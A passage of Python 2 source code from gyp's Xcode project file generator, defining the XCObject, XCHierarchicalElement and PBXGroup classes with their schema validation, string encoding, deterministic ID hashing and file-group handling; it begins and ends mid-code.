is deprecated. Import hashlib if # available, avoiding a deprecation warning under 2.6. Import sha otherwise, # preserving 2.4 compatibility. try: import hashlib _new_sha1 = hashlib.sha1 except ImportError: import sha _new_sha1 = sha.new # See XCObject._EncodeString. This pattern is used to determine when a string # can be printed unquoted. Strings that match this pattern may be printed # unquoted. Strings that do not match must be quoted and may be further # transformed to be properly encoded. Note that this expression matches the # characters listed with "+", for 1 or more occurrences: if a string is empty, # it must not match this pattern, because it needs to be encoded as "". _unquoted = re.compile('^[A-Za-z0-9$./_]+$') # Strings that match this pattern are quoted regardless of what _unquoted says. # Oddly, Xcode will quote any string with a run of three or more underscores. _quoted = re.compile('___') # This pattern should match any character that needs to be escaped by # XCObject._EncodeString. See that function. _escaped = re.compile('[\\\\"]|[\x00-\x1f]') # Used by SourceTreeAndPathFromPath _path_leading_variable = re.compile('^\$\((.*?)\)(/(.*))?$') def SourceTreeAndPathFromPath(input_path): """Given input_path, returns a tuple with sourceTree and path values. Examples: input_path (source_tree, output_path) '$(VAR)/path' ('VAR', 'path') '$(VAR)' ('VAR', None) 'path' (None, 'path') """ source_group_match = _path_leading_variable.match(input_path) if source_group_match: source_tree = source_group_match.group(1) output_path = source_group_match.group(3) # This may be None. else: source_tree = None output_path = input_path return (source_tree, output_path) def ConvertVariablesToShellSyntax(input_string): return re.sub('\$\((.*?)\)', '${\\1}', input_string) class XCObject(object): """The abstract base of all class types used in Xcode project files. Class variables: _schema: A dictionary defining the properties of this class. The keys to _schema are string property keys as used in project files. Values are a list of four or five elements: [ is_list, property_type, is_strong, is_required, default ] is_list: True if the property described is a list, as opposed to a single element. property_type: The type to use as the value of the property, or if is_list is True, the type to use for each element of the value's list. property_type must be an XCObject subclass, or one of the built-in types str, int, or dict. is_strong: If property_type is an XCObject subclass, is_strong is True to assert that this class "owns," or serves as parent, to the property value (or, if is_list is True, values). is_strong must be False if property_type is not an XCObject subclass. is_required: True if the property is required for the class. Note that is_required being True does not preclude an empty string ("", in the case of property_type str) or list ([], in the case of is_list True) from being set for the property. default: Optional. If is_requried is True, default may be set to provide a default value for objects that do not supply their own value. If is_required is True and default is not provided, users of the class must supply their own value for the property. Note that although the values of the array are expressed in boolean terms, subclasses provide values as integers to conserve horizontal space. _should_print_single_line: False in XCObject. Subclasses whose objects should be written to the project file in the alternate single-line format, such as PBXFileReference and PBXBuildFile, should set this to True. _encode_transforms: Used by _EncodeString to encode unprintable characters. The index into this list is the ordinal of the character to transform; each value is a string used to represent the character in the output. XCObject provides an _encode_transforms list suitable for most XCObject subclasses. _alternate_encode_transforms: Provided for subclasses that wish to use the alternate encoding rules. Xcode seems to use these rules when printing objects in single-line format. Subclasses that desire this behavior should set _encode_transforms to _alternate_encode_transforms. _hashables: A list of XCObject subclasses that can be hashed by ComputeIDs to construct this object's ID. Most classes that need custom hashing behavior should do it by overriding Hashables, but in some cases an object's parent may wish to push a hashable value into its child, and it can do so by appending to _hashables. Attributes: id: The object's identifier, a 24-character uppercase hexadecimal string. Usually, objects being created should not set id until the entire project file structure is built. At that point, UpdateIDs() should be called on the root object to assign deterministic values for id to each object in the tree. parent: The object's parent. This is set by a parent XCObject when a child object is added to it. _properties: The object's property dictionary. An object's properties are described by its class' _schema variable. """ _schema = {} _should_print_single_line = False # See _EncodeString. _encode_transforms = [] i = 0 while i < ord(' '): _encode_transforms.append('\\U%04x' % i) i = i + 1 _encode_transforms[7] = '\\a' _encode_transforms[8] = '\\b' _encode_transforms[9] = '\\t' _encode_transforms[10] = '\\n' _encode_transforms[11] = '\\v' _encode_transforms[12] = '\\f' _encode_transforms[13] = '\\n' _alternate_encode_transforms = list(_encode_transforms) _alternate_encode_transforms[9] = chr(9) _alternate_encode_transforms[10] = chr(10) _alternate_encode_transforms[11] = chr(11) def __init__(self, properties=None, id=None, parent=None): self.id = id self.parent = parent self._properties = {} self._hashables = [] self._SetDefaultsFromSchema() self.UpdateProperties(properties) def __repr__(self): try: name = self.Name() except NotImplementedError: return '<%s at 0x%x>' % (self.__class__.__name__, id(self)) return '<%s %r at 0x%x>' % (self.__class__.__name__, name, id(self)) def Copy(self): """Make a copy of this object. The new object will have its own copy of lists and dicts. Any XCObject objects owned by this object (marked "strong") will be copied in the new object, even those found in lists. If this object has any weak references to other XCObjects, the same references are added to the new object without making a copy. """ that = self.__class__(id=self.id, parent=self.parent) for key, value in self._properties.iteritems(): is_strong = self._schema[key][2] if isinstance(value, XCObject): if is_strong: new_value = value.Copy() new_value.parent = that that._properties[key] = new_value else: that._properties[key] = value elif isinstance(value, str) or isinstance(value, unicode) or \ isinstance(value, int): that._properties[key] = value elif isinstance(value, list): if is_strong: # If is_strong is True, each element is an XCObject, so it's safe to # call Copy. that._properties[key] = [] for item in value: new_item = item.Copy() new_item.parent = that that._properties[key].append(new_item) else: that._properties[key] = value[:] elif isinstance(value, dict): # dicts are never strong. if is_strong: raise TypeError, 'Strong dict for key ' + key + ' in ' + \ self.__class__.__name__ else: that._properties[key] = value.copy() else: raise TypeError, 'Unexpected type ' + value.__class__.__name__ + \ ' for key ' + key + ' in ' + self.__class__.__name__ return that def Name(self): """Return the name corresponding to an object. Not all objects necessarily need to be nameable, and not all that do have a "name" property. Override as needed. """ # If the schema indicates that "name" is required, try to access the # property even if it doesn't exist. This will result in a KeyError # being raised for the property that should be present, which seems more # appropriate than NotImplementedError in this case. if 'name' in self._properties or \ ('name' in self._schema and self._schema['name'][3]): return self._properties['name'] raise NotImplementedError, \ self.__class__.__name__ + ' must implement Name' def Comment(self): """Return a comment string for the object. Most objects just use their name as the comment, but PBXProject uses different values. The returned comment is not escaped and does not have any comment marker strings applied to it. """ return self.Name() def Hashables(self): hashables = [self.__class__.__name__] name = self.Name() if name != None: hashables.append(name) hashables.extend(self._hashables) return hashables def HashablesForChild(self): return None def ComputeIDs(self, recursive=True, overwrite=True, seed_hash=None): """Set "id" properties deterministically. An object's "id" property is set based on a hash of its class type and name, as well as the class type and name of all ancestor objects. As such, it is only advisable to call ComputeIDs once an entire project file tree is built. If recursive is True, recurse into all descendant objects and update their hashes. If overwrite is True, any existing value set in the "id" property will be replaced. """ def _HashUpdate(hash, data): """Update hash with data's length and contents. If the hash were updated only with the value of data, it would be possible for clowns to induce collisions by manipulating the names of their objects. By adding the length, it's exceedingly less likely that ID collisions will be encountered, intentionally or not. """ hash.update(struct.pack('>i', len(data))) hash.update(data) if seed_hash is None: seed_hash = _new_sha1() hash = seed_hash.copy() hashables = self.Hashables() assert len(hashables) > 0 for hashable in hashables: _HashUpdate(hash, hashable) if recursive: hashables_for_child = self.HashablesForChild() if hashables_for_child is None: child_hash = hash else: assert len(hashables_for_child) > 0 child_hash = seed_hash.copy() for hashable in hashables_for_child: _HashUpdate(child_hash, hashable) for child in self.Children(): child.ComputeIDs(recursive, overwrite, child_hash) if overwrite or self.id is None: # Xcode IDs are only 96 bits (24 hex characters), but a SHA-1 digest is # is 160 bits. Instead of throwing out 64 bits of the digest, xor them # into the portion that gets used. assert hash.digest_size % 4 == 0 digest_int_count = hash.digest_size / 4 digest_ints = struct.unpack('>' + 'I' * digest_int_count, hash.digest()) id_ints = [0, 0, 0] for index in xrange(0, digest_int_count): id_ints[index % 3] ^= digest_ints[index] self.id = '%08X%08X%08X' % tuple(id_ints) def EnsureNoIDCollisions(self): """Verifies that no two objects have the same ID. Checks all descendants. """ ids = {} descendants = self.Descendants() for descendant in descendants: if descendant.id in ids: other = ids[descendant.id] raise KeyError, \ 'Duplicate ID %s, objects "%s" and "%s" in "%s"' % \ (descendant.id, str(descendant._properties), str(other._properties), self._properties['rootObject'].Name()) ids[descendant.id] = descendant def Children(self): """Returns a list of all of this object's owned (strong) children.""" children = [] for property, attributes in self._schema.iteritems(): (is_list, property_type, is_strong) = attributes[0:3] if is_strong and property in self._properties: if not is_list: children.append(self._properties[property]) else: children.extend(self._properties[property]) return children def Descendants(self): """Returns a list of all of this object's descendants, including this object. """ children = self.Children() descendants = [self] for child in children: descendants.extend(child.Descendants()) return descendants def PBXProjectAncestor(self): # The base case for recursion is defined at PBXProject.PBXProjectAncestor. if self.parent: return self.parent.PBXProjectAncestor() return None def _EncodeComment(self, comment): """Encodes a comment to be placed in the project file output, mimicing Xcode behavior. """ # This mimics Xcode behavior by wrapping the comment in "/*" and "*/". If # the string already contains a "*/", it is turned into "(*)/". This keeps # the file writer from outputting something that would be treated as the # end of a comment in the middle of something intended to be entirely a # comment. return '/* ' + comment.replace('*/', '(*)/') + ' */' def _EncodeTransform(self, match): # This function works closely with _EncodeString. It will only be called # by re.sub with match.group(0) containing a character matched by the # the _escaped expression. char = match.group(0) # Backslashes (\) and quotation marks (") are always replaced with a # backslash-escaped version of the same. Everything else gets its # replacement from the class' _encode_transforms array. if char == '\\': return '\\\\' if char == '"': return '\\"' return self._encode_transforms[ord(char)] def _EncodeString(self, value): """Encodes a string to be placed in the project file output, mimicing Xcode behavior. """ # Use quotation marks when any character outside of the range A-Z, a-z, 0-9, # $ (dollar sign), . (period), and _ (underscore) is present. Also use # quotation marks to represent empty strings. # # Escape " (double-quote) and \ (backslash) by preceding them with a # backslash. # # Some characters below the printable ASCII range are encoded specially: # 7 ^G BEL is encoded as "\a" # 8 ^H BS is encoded as "\b" # 11 ^K VT is encoded as "\v" # 12 ^L NP is encoded as "\f" # 127 ^? DEL is passed through as-is without escaping # - In PBXFileReference and PBXBuildFile objects: # 9 ^I HT is passed through as-is without escaping # 10 ^J NL is passed through as-is without escaping # 13 ^M CR is passed through as-is without escaping # - In other objects: # 9 ^I HT is encoded as "\t" # 10 ^J NL is encoded as "\n" # 13 ^M CR is encoded as "\n" rendering it indistinguishable from # 10 ^J NL # All other characters within the ASCII control character range (0 through # 31 inclusive) are encoded as "\U001f" referring to the Unicode code point # in hexadecimal. For example, character 14 (^N SO) is encoded as "\U000e". # Characters above the ASCII range are passed through to the output encoded # as UTF-8 without any escaping. These mappings are contained in the # class' _encode_transforms list. if _unquoted.search(value) and not _quoted.search(value): return value return '"' + _escaped.sub(self._EncodeTransform, value) + '"' def _XCPrint(self, file, tabs, line): file.write('\t' * tabs + line) def _XCPrintableValue(self, tabs, value, flatten_list=False): """Returns a representation of value that may be printed in a project file, mimicing Xcode's behavior. _XCPrintableValue can handle str and int values, XCObjects (which are made printable by returning their id property), and list and dict objects composed of any of the above types. When printing a list or dict, and _should_print_single_line is False, the tabs parameter is used to determine how much to indent the lines corresponding to the items in the list or dict. If flatten_list is True, single-element lists will be transformed into strings. """ printable = '' comment = None if self._should_print_single_line: sep = ' ' element_tabs = '' end_tabs = '' else: sep = '\n' element_tabs = '\t' * (tabs + 1) end_tabs = '\t' * tabs if isinstance(value, XCObject): printable += value.id comment = value.Comment() elif isinstance(value, str): printable += self._EncodeString(value) elif isinstance(value, unicode): printable += self._EncodeString(value.encode('utf-8')) elif isinstance(value, int): printable += str(value) elif isinstance(value, list): if flatten_list and len(value) <= 1: if len(value) == 0: printable += self._EncodeString('') else: printable += self._EncodeString(value[0]) else: printable = '(' + sep for item in value: printable += element_tabs + \ self._XCPrintableValue(tabs + 1, item, flatten_list) + \ ',' + sep printable += end_tabs + ')' elif isinstance(value, dict): printable = '{' + sep for item_key, item_value in sorted(value.iteritems()): printable += element_tabs + \ self._XCPrintableValue(tabs + 1, item_key, flatten_list) + ' = ' + \ self._XCPrintableValue(tabs + 1, item_value, flatten_list) + ';' + \ sep printable += end_tabs + '}' else: raise TypeError, "Can't make " + value.__class__.__name__ + ' printable' if comment != None: printable += ' ' + self._EncodeComment(comment) return printable def _XCKVPrint(self, file, tabs, key, value): """Prints a key and value, members of an XCObject's _properties dictionary, to file. tabs is an int identifying the indentation level. If the class' _should_print_single_line variable is True, tabs is ignored and the key-value pair will be followed by a space insead of a newline. """ if self._should_print_single_line: printable = '' after_kv = ' ' else: printable = '\t' * tabs after_kv = '\n' # Xcode usually prints remoteGlobalIDString values in PBXContainerItemProxy # objects without comments. Sometimes it prints them with comments, but # the majority of the time, it doesn't. To avoid unnecessary changes to # the project file after Xcode opens it, don't write comments for # remoteGlobalIDString. This is a sucky hack and it would certainly be # cleaner to extend the schema to indicate whether or not a comment should # be printed, but since this is the only case where the problem occurs and # Xcode itself can't seem to make up its mind, the hack will suffice. # # Also see PBXContainerItemProxy._schema['remoteGlobalIDString']. if key == 'remoteGlobalIDString' and isinstance(self, PBXContainerItemProxy): value_to_print = value.id else: value_to_print = value # PBXBuildFile's settings property is represented in the output as a dict, # but a hack here has it represented as a string. Arrange to strip off the # quotes so that it shows up in the output as expected. if key == 'settings' and isinstance(self, PBXBuildFile): strip_value_quotes = True else: strip_value_quotes = False # In another one-off, let's set flatten_list on buildSettings properties # of XCBuildConfiguration objects, because that's how Xcode treats them. if key == 'buildSettings' and isinstance(self, XCBuildConfiguration): flatten_list = True else: flatten_list = False try: printable_key = self._XCPrintableValue(tabs, key, flatten_list) printable_value = self._XCPrintableValue(tabs, value_to_print, flatten_list) if strip_value_quotes and len(printable_value) > 1 and \ printable_value[0] == '"' and printable_value[-1] == '"': printable_value = printable_value[1:-1] printable += printable_key + ' = ' + printable_value + ';' + after_kv except TypeError, e: gyp.common.ExceptionAppend(e, 'while printing key "%s"' % key) raise self._XCPrint(file, 0, printable) def Print(self, file=sys.stdout): """Prints a reprentation of this object to file, adhering to Xcode output formatting. """ self.VerifyHasRequiredProperties() if self._should_print_single_line: # When printing an object in a single line, Xcode doesn't put any space # between the beginning of a dictionary (or presumably a list) and the # first contained item, so you wind up with snippets like # ...CDEF = {isa = PBXFileReference; fileRef = 0123... # If it were me, I would have put a space in there after the opening # curly, but I guess this is just another one of those inconsistencies # between how Xcode prints PBXFileReference and PBXBuildFile objects as # compared to other objects. Mimic Xcode's behavior here by using an # empty string for sep. sep = '' end_tabs = 0 else: sep = '\n' end_tabs = 2 # Start the object. For example, '\t\tPBXProject = {\n'. self._XCPrint(file, 2, self._XCPrintableValue(2, self) + ' = {' + sep) # "isa" isn't in the _properties dictionary, it's an intrinsic property # of the class which the object belongs to. Xcode always outputs "isa" # as the first element of an object dictionary. self._XCKVPrint(file, 3, 'isa', self.__class__.__name__) # The remaining elements of an object dictionary are sorted alphabetically. for property, value in sorted(self._properties.iteritems()): self._XCKVPrint(file, 3, property, value) # End the object. self._XCPrint(file, end_tabs, '};\n') def UpdateProperties(self, properties, do_copy=False): """Merge the supplied properties into the _properties dictionary. The input properties must adhere to the class schema or a KeyError or TypeError exception will be raised. If adding an object of an XCObject subclass and the schema indicates a strong relationship, the object's parent will be set to this object. If do_copy is True, then lists, dicts, strong-owned XCObjects, and strong-owned XCObjects in lists will be copied instead of having their references added. """ if properties is None: return for property, value in properties.iteritems(): # Make sure the property is in the schema. if not property in self._schema: raise KeyError, property + ' not in ' + self.__class__.__name__ # Make sure the property conforms to the schema. (is_list, property_type, is_strong) = self._schema[property][0:3] if is_list: if value.__class__ != list: raise TypeError, \ property + ' of ' + self.__class__.__name__ + \ ' must be list, not ' + value.__class__.__name__ for item in value: if not isinstance(item, property_type) and \ not (item.__class__ == unicode and property_type == str): # Accept unicode where str is specified. str is treated as # UTF-8-encoded. raise TypeError, \ 'item of ' + property + ' of ' + self.__class__.__name__ + \ ' must be ' + property_type.__name__ + ', not ' + \ item.__class__.__name__ elif not isinstance(value, property_type) and \ not (value.__class__ == unicode and property_type == str): # Accept unicode where str is specified. str is treated as # UTF-8-encoded. raise TypeError, \ property + ' of ' + self.__class__.__name__ + ' must be ' + \ property_type.__name__ + ', not ' + value.__class__.__name__ # Checks passed, perform the assignment. if do_copy: if isinstance(value, XCObject): if is_strong: self._properties[property] = value.Copy() else: self._properties[property] = value elif isinstance(value, str) or isinstance(value, unicode) or \ isinstance(value, int): self._properties[property] = value elif isinstance(value, list): if is_strong: # If is_strong is True, each element is an XCObject, so it's safe # to call Copy. self._properties[property] = [] for item in value: self._properties[property].append(item.Copy()) else: self._properties[property] = value[:] elif isinstance(value, dict): self._properties[property] = value.copy() else: raise TypeError, "Don't know how to copy a " + \ value.__class__.__name__ + ' object for ' + \ property + ' in ' + self.__class__.__name__ else: self._properties[property] = value # Set up the child's back-reference to this object. Don't use |value| # any more because it may not be right if do_copy is true. if is_strong: if not is_list: self._properties[property].parent = self else: for item in self._properties[property]: item.parent = self def HasProperty(self, key): return key in self._properties def GetProperty(self, key): return self._properties[key] def SetProperty(self, key, value): self.UpdateProperties({key: value}) def DelProperty(self, key): if key in self._properties: del self._properties[key] def AppendProperty(self, key, value): # TODO(mark): Support ExtendProperty too (and make this call that)? # Schema validation. if not key in self._schema: raise KeyError, key + ' not in ' + self.__class__.__name__ (is_list, property_type, is_strong) = self._schema[key][0:3] if not is_list: raise TypeError, key + ' of ' + self.__class__.__name__ + ' must be list' if not isinstance(value, property_type): raise TypeError, 'item of ' + key + ' of ' + self.__class__.__name__ + \ ' must be ' + property_type.__name__ + ', not ' + \ value.__class__.__name__ # If the property doesn't exist yet, create a new empty list to receive the # item. if not key in self._properties: self._properties[key] = [] # Set up the ownership link. if is_strong: value.parent = self # Store the item. self._properties[key].append(value) def VerifyHasRequiredProperties(self): """Ensure that all properties identified as required by the schema are set. """ # TODO(mark): A stronger verification mechanism is needed. Some # subclasses need to perform validation beyond what the schema can enforce. for property, attributes in self._schema.iteritems(): (is_list, property_type, is_strong, is_required) = attributes[0:4] if is_required and not property in self._properties: raise KeyError, self.__class__.__name__ + ' requires ' + property def _SetDefaultsFromSchema(self): """Assign object default values according to the schema. This will not overwrite properties that have already been set.""" defaults = {} for property, attributes in self._schema.iteritems(): (is_list, property_type, is_strong, is_required) = attributes[0:4] if is_required and len(attributes) >= 5 and \ not property in self._properties: default = attributes[4] defaults[property] = default if len(defaults) > 0: # Use do_copy=True so that each new object gets its own copy of strong # objects, lists, and dicts. self.UpdateProperties(defaults, do_copy=True) class XCHierarchicalElement(XCObject): """Abstract base for PBXGroup and PBXFileReference. Not represented in a project file.""" # TODO(mark): Do name and path belong here? Probably so. # If path is set and name is not, name may have a default value. Name will # be set to the basename of path, if the basename of path is different from # the full value of path. If path is already just a leaf name, name will # not be set. _schema = XCObject._schema.copy() _schema.update({ 'comments': [0, str, 0, 0], 'fileEncoding': [0, str, 0, 0], 'includeInIndex': [0, int, 0, 0], 'indentWidth': [0, int, 0, 0], 'lineEnding': [0, int, 0, 0], 'sourceTree': [0, str, 0, 1, '<group>'], 'tabWidth': [0, int, 0, 0], 'usesTabs': [0, int, 0, 0], 'wrapsLines': [0, int, 0, 0], }) def __init__(self, properties=None, id=None, parent=None): # super XCObject.__init__(self, properties, id, parent) if 'path' in self._properties and not 'name' in self._properties: path = self._properties['path'] name = posixpath.basename(path) if name != '' and path != name: self.SetProperty('name', name) if 'path' in self._properties and \ (not 'sourceTree' in self._properties or \ self._properties['sourceTree'] == '<group>'): # If the pathname begins with an Xcode variable like "$(SDKROOT)/", take # the variable out and make the path be relative to that variable by # assigning the variable name as the sourceTree. (source_tree, path) = SourceTreeAndPathFromPath(self._properties['path']) if source_tree != None: self._properties['sourceTree'] = source_tree if path != None: self._properties['path'] = path if source_tree != None and path is None and \ not 'name' in self._properties: # The path was of the form "$(SDKROOT)" with no path following it. # This object is now relative to that variable, so it has no path # attribute of its own. It does, however, keep a name. del self._properties['path'] self._properties['name'] = source_tree def Name(self): if 'name' in self._properties: return self._properties['name'] elif 'path' in self._properties: return self._properties['path'] else: # This happens in the case of the root PBXGroup. return None def Hashables(self): """Custom hashables for XCHierarchicalElements. XCHierarchicalElements are special. Generally, their hashes shouldn't change if the paths don't change. The normal XCObject implementation of Hashables adds a hashable for each object, which means that if the hierarchical structure changes (possibly due to changes caused when TakeOverOnlyChild runs and encounters slight changes in the hierarchy), the hashes will change. For example, if a project file initially contains a/b/f1 and a/b becomes collapsed into a/b, f1 will have a single parent a/b. If someone later adds a/f2 to the project file, a/b can no longer be collapsed, and f1 winds up with parent b and grandparent a. That would be sufficient to change f1's hash. To counteract this problem, hashables for all XCHierarchicalElements except for the main group (which has neither a name nor a path) are taken to be just the set of path components. Because hashables are inherited from parents, this provides assurance that a/b/f1 has the same set of hashables whether its parent is b or a/b. The main group is a special case. As it is permitted to have no name or path, it is permitted to use the standard XCObject hash mechanism. This is not considered a problem because there can be only one main group. """ if self == self.PBXProjectAncestor()._properties['mainGroup']: # super return XCObject.Hashables(self) hashables = [] # Put the name in first, ensuring that if TakeOverOnlyChild collapses # children into a top-level group like "Source", the name always goes # into the list of hashables without interfering with path components. if 'name' in self._properties: # Make it less likely for people to manipulate hashes by following the # pattern of always pushing an object type value onto the list first. hashables.append(self.__class__.__name__ + '.name') hashables.append(self._properties['name']) # NOTE: This still has the problem that if an absolute path is encountered, # including paths with a sourceTree, they'll still inherit their parents' # hashables, even though the paths aren't relative to their parents. This # is not expected to be much of a problem in practice. path = self.PathFromSourceTreeAndPath() if path != None: components = path.split(posixpath.sep) for component in components: hashables.append(self.__class__.__name__ + '.path') hashables.append(component) hashables.extend(self._hashables) return hashables def Compare(self, other): # Allow comparison of these types. PBXGroup has the highest sort rank; # PBXVariantGroup is treated as equal to PBXFileReference. valid_class_types = { PBXFileReference: 'file', PBXGroup: 'group', PBXVariantGroup: 'file', } self_type = valid_class_types[self.__class__] other_type = valid_class_types[other.__class__] if self_type == other_type: # If the two objects are of the same sort rank, compare their names. return cmp(self.Name(), other.Name()) # Otherwise, sort groups before everything else. if self_type == 'group': return -1 return 1 def CompareRootGroup(self, other): # This function should be used only to compare direct children of the # containing PBXProject's mainGroup. These groups should appear in the # listed order. # TODO(mark): "Build" is used by gyp.generator.xcode, perhaps the # generator should have a way of influencing this list rather than having # to hardcode for the generator here. order = ['Source', 'Intermediates', 'Projects', 'Frameworks', 'Products', 'Build'] # If the groups aren't in the listed order, do a name comparison. # Otherwise, groups in the listed order should come before those that # aren't. self_name = self.Name() other_name = other.Name() self_in = isinstance(self, PBXGroup) and self_name in order other_in = isinstance(self, PBXGroup) and other_name in order if not self_in and not other_in: return self.Compare(other) if self_name in order and not other_name in order: return -1 if other_name in order and not self_name in order: return 1 # If both groups are in the listed order, go by the defined order. self_index = order.index(self_name) other_index = order.index(other_name) if self_index < other_index: return -1 if self_index > other_index: return 1 return 0 def PathFromSourceTreeAndPath(self): # Turn the object's sourceTree and path properties into a single flat # string of a form comparable to the path parameter. If there's a # sourceTree property other than "<group>", wrap it in $(...) for the # comparison. components = [] if self._properties['sourceTree'] != '<group>': components.append('$(' + self._properties['sourceTree'] + ')') if 'path' in self._properties: components.append(self._properties['path']) if len(components) > 0: return posixpath.join(*components) return None def FullPath(self): # Returns a full path to self relative to the project file, or relative # to some other source tree. Start with self, and walk up the chain of # parents prepending their paths, if any, until no more parents are # available (project-relative path) or until a path relative to some # source tree is found. xche = self path = None while isinstance(xche, XCHierarchicalElement) and \ (path is None or \ (not path.startswith('/') and not path.startswith('$'))): this_path = xche.PathFromSourceTreeAndPath() if this_path != None and path != None: path = posixpath.join(this_path, path) elif this_path != None: path = this_path xche = xche.parent return path class PBXGroup(XCHierarchicalElement): """ Attributes: _children_by_path: Maps pathnames of children of this PBXGroup to the actual child XCHierarchicalElement objects. _variant_children_by_name_and_path: Maps (name, path) tuples of PBXVariantGroup children to the actual child PBXVariantGroup objects. """ _schema = XCHierarchicalElement._schema.copy() _schema.update({ 'children': [1, XCHierarchicalElement, 1, 1, []], 'name': [0, str, 0, 0], 'path': [0, str, 0, 0], }) def __init__(self, properties=None, id=None, parent=None): # super XCHierarchicalElement.__init__(self, properties, id, parent) self._children_by_path = {} self._variant_children_by_name_and_path = {} for child in self._properties.get('children', []): self._AddChildToDicts(child) def Hashables(self): # super hashables = XCHierarchicalElement.Hashables(self) # It is not sufficient to just rely on name and parent to build a unique # hashable : a node could have two child PBXGroup sharing a common name. # To add entropy the hashable is enhanced with the names of all its # children. for child in self._properties.get('children', []): child_name = child.Name() if child_name != None: hashables.append(child_name) return hashables def HashablesForChild(self): # To avoid a circular reference the hashables used to compute a child id do # not include the child names. return XCHierarchicalElement.Hashables(self) def _AddChildToDicts(self, child): # Sets up this PBXGroup object's dicts to reference the child properly. child_path = child.PathFromSourceTreeAndPath() if child_path: if child_path in self._children_by_path: raise ValueError, 'Found multiple children with path ' + child_path self._children_by_path[child_path] = child if isinstance(child, PBXVariantGroup): child_name = child._properties.get('name', None) key = (child_name, child_path) if key in self._variant_children_by_name_and_path: raise ValueError, 'Found multiple PBXVariantGroup children with ' + \ 'name ' + str(child_name) + ' and path ' + \ str(child_path) self._variant_children_by_name_and_path[key] = child def AppendChild(self, child): # Callers should use this instead of calling # AppendProperty('children', child) directly because this function # maintains the group's dicts. self.AppendProperty('children', child) self._AddChildToDicts(child) def GetChildByName(self, name): # This is not currently optimized with a dict as GetChildByPath is because # it has few callers. Most callers probably want GetChildByPath. This # function is only useful to get children that have names but no paths, # which is rare. The children of the main group ("Source", "Products", # etc.) is pretty much the only case where this likely to come up. # # TODO(mark): Maybe this should raise an error if more than one child is # present with the same name. if not 'children' in self._properties: return None for child in self._properties['children']: if child.Name() == name: return child return None def GetChildByPath(self, path): if not path: return None if path in self._children_by_path: return self._children_by_path[path] return None def GetChildByRemoteObject(self, remote_object): # This method is a little bit esoteric. Given a remote_object, which # should be a PBXFileReference in another project file, this method will # return this group's PBXReferenceProxy object serving as a local proxy # for the remote PBXFileReference. # # This function might benefit from a dict optimization as GetChildByPath # for some workloads, but profiling shows that it's not currently a # problem. if not 'children' in self._properties: return None for child in self._properties['children']: if not isinstance(child, PBXReferenceProxy): continue container_proxy = child._properties['remoteRef'] if container_proxy._properties['remoteGlobalIDString'] == remote_object: return child return None def AddOrGetFileByPath(self, path, hierarchical): """Returns an existing or new file reference corresponding to path. If hierarchical is True, this method will create or use the necessary hierarchical group structure corresponding to path. Otherwise, it will look in and create an item in the current group only. If an existing matching reference is found, it is returned, otherwise, a new one will be created, added to the correct group, and returned. If path identifies a directory by virtue of carrying a trailing slash, this method returns a PBXFileReference of "folder" type. If path identifies a variant, by virtue of it identifying a file inside a directory with an ".lproj" extension, this method returns a PBXVariantGroup containing the variant named by path, and possibly other variants. For all other paths, a "normal" PBXFileReference will be returned. """ # Adding or getting a directory? Directories end with a trailing slash. is_dir = False if path.endswith('/'): is_dir = True path = posixpath.normpath(path) if is_dir: path = path + '/' # Adding or getting a variant? Variants are files inside directories # with an ".lproj" extension. Xcode uses variants for localization. For # a variant path/to/Language.lproj/MainMenu.nib, put a variant group named # MainMenu.nib inside path/to, and give it a variant named Language. In # this example, grandparent would be set to path/to and parent_root would # be set to Language. variant_name = None parent = posixpath.dirname(path) grandparent = posixpath.dirname(parent) parent_basename = posixpath.basename(parent) (parent_root, parent_ext) = posixpath.splitext(parent_basename) if parent_ext == '.lproj': variant_name = parent_root if grandparent == '': grandparent = None # Putting a directory inside a variant group is not currently supported. assert not is_dir or variant_name is None path_split = path.split(posixpath.sep) if len(path_split) == 1 or \ ((is_dir or variant_name != None) and len(path_split) == 2) or \ not hierarchical: # The PBXFileReference or PBXVariantGroup will be added to or gotten from # this PBXGroup, no recursion necessary. if variant_name is None: # Add or get a PBXFileReference. file_ref = self.GetChildByPath(path) if file_ref != None: assert file_ref.__class__ == PBXFileReference else: file_ref = PBXFileReference({'path': path}) self.AppendChild(file_ref) else: # Add or get a PBXVariantGroup. The variant group name is the same # as the basename (MainMenu.nib in the example above). grandparent # specifies the path to the variant group itself, and path_split[-2:] # is the path of the specific variant relative to its group. variant_group_name = posixpath.basename(path) variant_group_ref = self.AddOrGetVariantGroupByNameAndPath( variant_group_name, grandparent) variant_path = posixpath.sep.join(path_split[-2:]) variant_ref = variant_group_ref.GetChildByPath(variant_path) if variant_ref != None: assert variant_ref.__class__ == PBXFileReference else: variant_ref = PBXFileReference({'name': variant_name, 'path': variant_path}) variant_group_ref.AppendChild(variant_ref) # The caller is interested in the variant group, not the specific # variant file. file_ref = variant_group_ref return file_ref else: # Hierarchical recursion. Add or get a PBXGroup corresponding to the # outermost path component, and then recurse into it, chopping off that # path component. next_dir = path_split[0] group_ref = self.GetChildByPath(next_dir) if group_ref != None: assert group_ref.__class__ == PBXGroup else: group_ref = PBXGroup({'path': next_dir}) self.AppendChild(group_ref) return group_ref.AddOrGetFileByPath(posixpath.sep.join(path_split[1:]), hierarchical) def AddOrGetVariantGroupByNameAndPath(self, name, path): """Returns an existing or new PBXVariantGroup for name and path. If a PBXVariantGroup identified by the name and path arguments is already present as a child of this object, it is returned. Otherwise, a new PBXVariantGroup with the correct properties is created, added as a child, and returned. This method will generally be called by AddOrGetFileByPath, which knows when to create a variant group based on the structure of the pathnames passed to it. """ key = (name, path) if key in self._variant_children_by_name_and_path: variant_group_ref = self._variant_children_by_name_and_path[key] assert variant_group_ref.__class__ == PBXVariantGroup return variant_group_ref variant_group_properties = {'name': name} if path != None: variant_group_properties['path'] = path variant_group_ref = PBXVariantGroup(variant_group_properties) self.AppendChild(variant_group_ref) return variant_group_ref def TakeOverOnlyChild(self, recurse=False): """If this PBXGroup has only one child and it's also a PBXGroup, take it over by making all of its children this object's children. This function will continue to take over only children when those children are groups. If there are three PBXGroups representing a, b, and c, with c inside b and b inside a, and a and b have no other children, this will result in a taking over both b and c, forming a PBXGroup for a/b/c. If recurse is True, this function will recurse into children and ask them to collapse themselves by taking over only children as well. Assuming an example hierarchy with files at a/b/c/d1, a/b/c/d2, and a/b/c/d3/e/f (d1, d2, and f are files, the rest are groups), recursion will result in a group for a/b/c containing a group for d3/e. """ # At this stage, check that child class types are PBXGroup exactly, # instead of using isinstance. The only subclass of PBXGroup, # PBXVariantGroup, should not participate in reparenting in the same way: # reparenting by merging different object types would be wrong. while len(self._properties['children']) == 1 and \ self._properties['children'][0].__class__ == PBXGroup: # Loop to take over the innermost only-child group possible. child = 